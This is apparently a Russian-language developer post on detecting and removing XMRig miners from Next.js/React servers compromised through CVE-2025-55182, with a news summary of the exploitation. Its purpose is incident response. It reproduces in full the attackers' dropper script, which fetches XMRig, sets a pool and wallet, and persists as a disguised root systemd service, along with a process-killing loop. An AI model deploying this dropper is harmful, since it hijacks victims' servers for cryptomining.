1. Ищем явные следы XMRig по файловой системе
   Запустите поиск по имени xmrig и похожим строкам, включая вложенные каталоги и временные папки.
   Примеры базовых команд:
   • find / -name "*xmrig*" -type f 2>/dev/null
   • find /tmp /var/tmp -type f -executable 2>/dev/null
2. Проверяем типичные точки установки
   В кейсах по CVE‑2025‑55182 майнер часто оказывался рядом с проектом или в временных каталогах.
   Обязательно вручную просмотрите:
   • корень проекта (папка Next.js/Node.js) и рядом лежащие файлы (sex.sh, kal.tar.gz, странные .sh/.tar.gz и т.п.);
   • домашние директории пользователей (/home/*, /root);
   • /tmp, /var/tmp, /var/run, где часто лежат безымянные или «системно» названные бинарники.
3. Сопоставляем с процессами и открытыми файлами
   Если процесс вы уже видите в top/htop, нужно понять, откуда он запущен.
   Полезные команды:
   • ls -l /proc/<PID>/exe — покажет реальный путь до исполняемого файла;
   • cat /proc/<PID>/cmdline — параметры запуска (там часто виден пул, кошелёк или config.json);
     Так можно выйти на бинарник, даже если он переименован в kswapd0, systemd-journal, a1b2c3, и пр.
4. Отлавливаем обфускацию и маскировку
   В реальных взломах по React2Shell майнеры:
   • переименовывали бинарник под системные процессы (kswapd0, kworker, systemd-journal),
   • складывали его в «левые» каталоги и запускали через скрипты sex.sh, health.sh и т.п.,
   • упаковывали в архивы вроде kal.tar.gz, которые при распаковке создавали папку xmrig-<версия> и бинарник внутри.
     Всё, что выглядит не как ваш деплой, лучше считать подозрительным и разбирать отдельно.
5. Ищем конфиги и вспомогательные файлы майнера
   Вместе с бинарником почти всегда лежат конфигурации и скрипты автозапуска.
   Обратите внимание на:
   • config.json рядом с бинарником (настройки пула, кошелька, количества потоков);
   • shell‑скрипты, качающие что‑то с GitHub/неизвестных URL и сразу запускающие (curl | bash, wget ... && chmod +x && ./имя);
   • unit‑файлы systemd с рандомными hex‑названиями, указывающими на тот же бинарник.
6. После обнаружения — не просто удалить файл
   Недостаточно удалить найденный xmrig и скрипты: нужно ещё убрать все точки автозапуска (cron, systemd, .bashrc, .profile и т.д.) и заново переиспользовать/пересоздать окружение.
   В кейсах с Next.js‑эксплойтом люди в итоге либо поднимали чистый сервер и деплоили из репозитория, либо полностью пересобирали контейнеры с нуля.

Если есть подозрение, что сервер с Next.js / React уже взломан через CVE‑2025‑55182 (React Server Components, удалённое выполнение кода), к нему стоит относиться как к полностью скомпрометированному. Ниже — более удобный для чтения порядок действий.

Что делать при обнаружении следов атаки

1. Остановить майнер и вредоносные процессы
   Найдите процессы, которые забивают CPU (через top / htop / ps), проверьте подозрительные имена и завершите их (kill, pkill, killall).
2. Проверить локальных пользователей
   Посмотрите список учётных записей и удалите явно лишних пользователей, созданных атакующим, вместе с их домашними каталогами.
3. Найти бинарники майнера
   Просканируйте систему на наличие исполняемых файлов майнера, особенно в ~/, /tmp, /var/tmp, нетипичных каталогах и местах, куда пишет ваш Node.js/Next.js‑процесс.
4. Очистить cron и другие планировщики
   Проверьте crontab для root и приложений, а также файлы в /etc/cron.*. Удалите все задания, которые запускают непонятные бинарники, скрипты или обращаются к подозрительным URL.
5. Проверить systemd‑сервисы и автозапуск
   Посмотрите systemctl list-units --type=service и содержимое пользовательских и системных unit‑файлов. Отключите и удалите сервисы, которые вы не настраивали и которые стартуют майнер или сторонние скрипты.
6. Почистить SSH‑доступ
   Проверьте ~/.ssh/authorized_keys, конфиги SSH и ключи на предмет посторонних записей. Удалите неизвестные ключи и при необходимости сгенерируйте новые для своих учёток.
7. Ротировать пароли и секреты
   Поменяйте пароли root и админ‑учёток, учетные данные БД, токены CI/CD, API‑ключи и другие секреты, которые могли утечь при RCE.
8. Поднять чистое окружение и обновиться
   На практике надёжнее всего развернуть новый сервер/контейнер из доверенного образа и уже туда задеплоить пропатченную версию React/Next.js с закрытой CVE‑2025‑55182, чем бесконечно «отмывать» взломанную систему.

После взлома у него:

• забился CPU до 100%, VM падала, в репо появились неожиданные изменения в next.config.js / tailwind.config.js / postcss.config.js, package.json и yarn.lock с подменёнными зависимостями.
• на уровне системы наплодились systemd‑сервисы с hex‑именами и правки в .bashrc / .profile для автозапуска майнера xmrig.

Он чистил всё руками: убивал процессы xmrig, вычищал подозрительные systemd‑сервисы, проверял bash‑профили, делал git reset --hard + git clean и вручную перечитывал конфиги, потом ротировал все секреты из .env.

Просто «обновиться позже» тут опасно: если сервер уже скомпрометирован, сначала надо вычистить систему и ключи, и только потом обновляться на патченные версии Next.js/React, иначе майнер или бэкдор могут так и остаться жить в окружении.

# sex.sh


#!/bin/bash

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 --user 8BWy7pgane96sLATF7nESM4ehZEtYAFNpYFAm88zftVsJ5jxFBdGVBrd1igptedXejfomPEpJvGUKU1etmkNBXmU5HkPR6e --pass ZimbabveDC --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    tar xvzf "$TAR_FILE"
fi

chmod +x "$BINARY_PATH"

# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
    echo "Root privileges detected. Attempting systemd setup..."
    
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    
    cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

    systemctl daemon-reload
    systemctl enable "$SERVICE_NAME"
    systemctl start "$SERVICE_NAME"
    
    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi

# health.sh
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}

        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done

все это попытки запускать xmrig-6.24.0
https://www.kaspersky.ru/blog/miner-xmrig-delivered-via-torrents/39082/

Группа интернет-контроля Shadowserver сообщила о обнаружении 77 664 уязвимых IP-адресов по всему миру, на которых работают серверные компоненты React (RSC). Географическое распределение:

~23 700 адресов — США.

~3 000 адресов — Россия.

Эти данные показывают реальный и значительный масштаб проблемы в глобальной сети.

Суть уязвимости (напоминание)
Уязвимость CVE-2025-55182 позволяет неавторизованному злоумышленнику выполнить произвольный код на сервере через отправку специально сформированного HTTP-запроса к обработчику серверных компонентов React. Проблема затрагивает экспериментальные пакеты react-server-dom-* в версиях React 19.0.0 — 19.2.0.

Эксплуатация в реальном времени и тактика атак
Угроза не теоретическая. Наблюдаются активные попытки эксплуатации:

Компания GreyNoise зафиксировала 181 уникальный IP-адрес, сканирующий сеть на наличие уязвимости за последние 24 часа.

Palo Alto Networks сообщает, что с помощью этой уязвимости уже было скомпрометировано более 30 организаций. Злоумышленники используют её для разведки, кражи файлов конфигурации и учётных данных (например, AWS).

Типичный сценарий атаки, по данным исследователей:

Тест на уязвимость: Отправка команды, выполняющей простую математическую операцию через PowerShell (например, powershell -c “40138*41979”), чтобы подтвердить возможность выполнения кода.

Загрузка вредоносной нагрузки: Если тест проходит, выполняется команда в кодировке base64, которая загружает скрипт извне, часто для обхода защиты (AMSI) и развёртывания полезной нагрузки.

Закрепление в системе: Обнаруженный скрипт может устанавливать на целевое устройство бэкдор, например, маяк Cobalt Strike, что даёт злоумышленникам постоянный доступ к сети.

Официальный статус и рекомендации
Агентство кибербезопасности США (CISA) уже внесло CVE-2025-55182 в свой Каталог известных эксплуатируемых уязвимостей (KEV). Это обязывает государственные учреждения США установить исправления до 26 декабря 2025 года.

Единственная надёжная мера защиты — немедленное обновление.

React: до версий 19.0.1, 19.1.2 или 19.2.1.

Next.js: до последних патчей (15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7).

После обновления необходимо пересобрать и заново развернуть приложение, а также проверить логи сервера на наличие признаков выполнения подозрительных команд (например, тестовых вызовов PowerShell).

Итог: Уязвимость активно используется, количество потенциальных жертв исчисляется десятками тысяч. Если вы ещё не обновили свои проекты на React/Next.js — это нужно сделать в приоритетном порядке.

Источник

Официальный каталог эксплуатируемых уязвимостей CISA (CVE-2025-55182)

Технический анализ уязвимости от Palo Alto Networks (Unit 42)

По мимо обновления, требуется еще почистить файлы на серверах. К примеру на наших проектах которые были затронуты этими уязвимостями было такие файлы как: sex.sh, kal.tar.gz и другие!

Вот скрин пацаны: